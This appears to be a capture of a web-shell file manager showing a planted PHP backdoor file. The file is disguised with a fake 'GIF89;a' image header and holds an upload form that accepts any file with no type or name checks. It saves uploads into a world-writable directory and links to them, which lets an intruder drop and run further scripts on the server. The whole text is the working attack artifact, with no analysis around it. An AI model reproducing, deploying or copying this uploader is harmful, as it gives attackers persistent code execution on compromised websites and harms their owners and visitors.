Viewing file: 1710176817_785810c77749dc09dd86.phtml (1.07 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
GIF89;a
<!DOCTYPE html>
<html>
<head>
<title>Uploaded File Viewer</title>
</head>
<body>
<form enctype="multipart/form-data" action="" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
<?php
$uploadDirectory = "uploads/";
if (!file_exists($uploadDirectory)) {
mkdir($uploadDirectory, 0777, true);
}
if(!empty($_FILES['uploaded_file'])) {
$path = $uploadDirectory . basename($_FILES['uploaded_file']['name']);
if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
echo "The file ". basename($_FILES['uploaded_file']['name']). " has been uploaded";
// Yüklenen dosyayı göstermek için bir bağlantı oluştur
echo '<a href="' . $path . '" target="_blank">View Uploaded File</a>';
} else {
echo "There was an error uploading the file, please try again!";
}
}
?>
</body>
</html>
|